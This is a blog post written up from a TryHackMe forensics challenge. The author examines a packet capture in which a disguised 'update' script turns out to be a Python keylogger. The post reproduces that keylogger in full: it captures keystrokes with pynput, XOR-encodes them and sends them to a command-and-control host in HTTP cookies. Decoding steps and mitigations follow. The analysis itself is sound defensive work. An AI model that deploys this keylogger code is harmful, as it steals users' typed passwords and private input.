DEV Community

Cover image for TryHackMe : Packed Light Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Packed Light Writeup

TL;DR

A .pcapng capture shows a victim host on 192.168.1.141 downloading a Python
keylogger (updates.py) from an attacker-controlled "hotel update server" at
byte-lotus-hotel.thm:8080 (34.41.103.191). The script XOR-encrypts every
keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an
HTTP Cookie header on a GET request back to the same host. Replaying that
XOR/base64 scheme against the 30 exfil requests in the capture recovers the
flag.

Flag:THM{[REDACTED]}


1. Initial triage

$capinfos traffic.pcapng
Number of packets: 1348
Capture duration: 41.831541 seconds
Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171)
Enter fullscreen modeExit fullscreen mode

Protocol hierarchy:

$tshark -r traffic.pcapng -q-z io,phs
eth
ip
tcp
http frames:62 bytes:37862
tls frames:228 bytes:133744
udp
ssdp, dns, quic
null (loopback)
ip
tcp
data frames:16 bytes:928
Enter fullscreen modeExit fullscreen mode

Most of the capture is background noise — TLS to search engines, QUIC,
Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP
traffic to a non-standard host, so that's where I started.

2. Spotting the payload download

$tshark -r traffic.pcapng -Y http -T fields \ -e frame.number -e ip.src -e ip.dst \
-e http.request.method -e http.request.uri \
-e http.host -e http.response.code
16 192.168.1.141 34.41.103.191 GET /temp/updates.py byte-lotus-hotel.thm:8080
19 34.41.103.191 192.168.1.141 200
391 192.168.1.141 34.41.103.191 GET / byte-lotus-hotel.thm:8080
... [repeats ~30 more times, one GET / every second or so]
Enter fullscreen modeExit fullscreen mode

Frame 16 is a normal Chrome download (User-Agent: ...Chrome/149.0.0.0...) of
/temp/updates.py from byte-lotus-hotel.thm (resolves to 34.41.103.191).
After that, starting at frame 391, the same source IP starts hammering GET /
on the same host roughly once per keypress, but with a different, custom
User-Agent. That pattern (one request per user action) screams keylogger
exfil, so the first move was to pull updates.py out of the stream:

$tshark -r traffic.pcapng --export-objects http,./httpobjs
$cat httpobjs/updates.py
Enter fullscreen modeExit fullscreen mode
importrequestsimportbase64frompynputimportkeyboardC2_URL="http://byte-lotus-hotel.thm:8080/"defgetkey():p1="H0t3lSt@ff0Nly"p2="K3epS3cr3t!"returnp1+p2defxor(data:bytes,key:bytes)->bytes:returnbytes(b^key[i%len(key)]fori,binenumerate(data))defsendltr(character):raw_bytes=character.encode('utf-8')encrypted=xor(raw_bytes,getkey().encode('utf-8'))b64_string=base64.b64encode(encrypted).decode('utf-8')headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1","Cookie":f"hotel_sess_state={b64_string}"}try:requests.get(C2_URL,headers=headers,timeout=0.5)except:passdefon_press(key):try:sendltr(key.char)exceptAttributeError:ifkey==keyboard.Key.space:sendltr("")elifkey==keyboard.Key.enter:sendltr("\n")print("[*] Byte Lotus Sync Service started...")withkeyboard.Listener(on_press=on_press)aslistener:listener.join()
Enter fullscreen modeExit fullscreen mode

Confirms the theory: this is a pynput-based keylogger disguised as a
"hotel sync service." Every keypress is:

  1. Grabbed individually (character is a single char).
  2. XORed against the key H0t3lSt@ff0NlyK3epS3cr3t! (p1 + p2).
  3. Base64-encoded.
  4. Smuggled out as the value of a hotel_sess_state cookie on a GET / to the C2.

The key detail for decoding: because sendltr() is called once per
character
, raw_bytes is always length 1. That means the XOR loop
key[i % len(key)] only ever uses index i = 0, i.e. every exfiltrated
byte is XORed with just the first character of the key, 'H' (0x48)
— the
rest of the 25-byte key is never actually used. That simplifies decoding a
lot.

3. Pulling the exfil cookies

$tshark -r traffic.pcapng -Y"http.request.method==GET"\ -T fields -e http.cookie \
| grep hotel_sess_state \
 | sed 's/hotel_sess_state=//' >cookies.txt
$wc-l cookies.txt
30 cookies.txt
Enter fullscreen modeExit fullscreen mode

Sample of what's captured, in packet order (each line = one keystroke sent
seconds apart from frame 391 onward):

HA==
AA==
BQ==
Mw==
Hg==
ew==
...
NQ==
Enter fullscreen modeExit fullscreen mode

4. Decoding

importbase64key="H0t3lSt@ff0NlyK3epS3cr3t!"out=[]withopen("cookies.txt")asf:forlineinf:line=line.strip()ifnotline:continueraw=base64.b64decode(line)out.append(chr(raw[0]^ord(key[0])))# only key[0] ('H') is ever used
print("".join(out))
Enter fullscreen modeExit fullscreen mode
$python3 decode.py
THM{[REDACTED]}
Enter fullscreen modeExit fullscreen mode

The 30 exfiltrated bytes reassemble in capture order to spell out the flag
directly — the "victim" was literally typing the flag on their keyboard
while the keylogger phoned it home one character at a time.

5. Flag

THM{[REDACTED]}
Enter fullscreen modeExit fullscreen mode

Key vulnerabilities / weaknesses exploited (for detection writeups)

#WeaknessDetail
1Plaintext HTTP C2 channelKeylogger exfil travels over unencrypted HTTP; fully visible in a pcap.
2Weak, hardcoded, effectively single-byte XOR "encryption"xor() is correct in general, but because each HTTP request carries only one character, key[i % len(key)] collapses to key[0] every time — the 25-byte key is decorative.
3Predictable exfil channelCookie header on a fixed URI (GET /) makes the beacon trivially greppable in traffic (hotel_sess_state=).
4Social-engineering deliveryPayload was served as /temp/updates.py from a spoofed "hotel update server," downloaded via a normal browser GET — no exploit needed, just a convincing filename/host.

Attack chain

Attacker C2 (byte-lotus-hotel.thm / 34.41.103.191:8080)
│
│ 1. Victim browses to /temp/updates.py (Chrome GET, frame 16)
▼
Victim host (192.168.1.141)
│
│ 2. updates.py executed -> pynput keyboard.Listener starts
│ "[*] Byte Lotus Sync Service started..."
▼
Every keystroke
│
│ 3. XOR(char, "H0t3lSt@ff0NlyK3epS3cr3t!") (only key[0] used, single-char msgs)
│ 4. base64 encode
│ 5. GET / with Cookie: hotel_sess_state=<b64> (custom UA: ByteLotusClient/1.1)
▼
Attacker C2 receives exfil, one keystroke per request (frames 391–1310)
│
▼
Analyst reassembles cookies in packet order -> decodes -> flag
Enter fullscreen modeExit fullscreen mode

Mitigations

  • Treat unsigned "update" scripts served over plain HTTP from unfamiliar hosts as untrusted; verify code signing / hashes before execution.
  • EDR/host monitoring for processes registering global keyboard hooks (pynput, SetWindowsHookEx, etc.) outside of known accessibility tools.
  • Network egress monitoring for beacon-like patterns: fixed-interval GETs to the same host/path with data hidden in headers (Cookie/User-Agent) rather than the body.
  • Enforce HTTPS/TLS interception or at least alerting on any outbound HTTP (not HTTPS) to non-allow-listed hosts, since it makes this kind of exfil trivially visible to anyone with pcap access (as it was here).
  • Rotate/derive per-message keystream material properly (e.g. real stream cipher or per-message nonce) if attackers want their own "crypto" to actually resist analysis — not that we're endorsing that goal.

Top comments (0)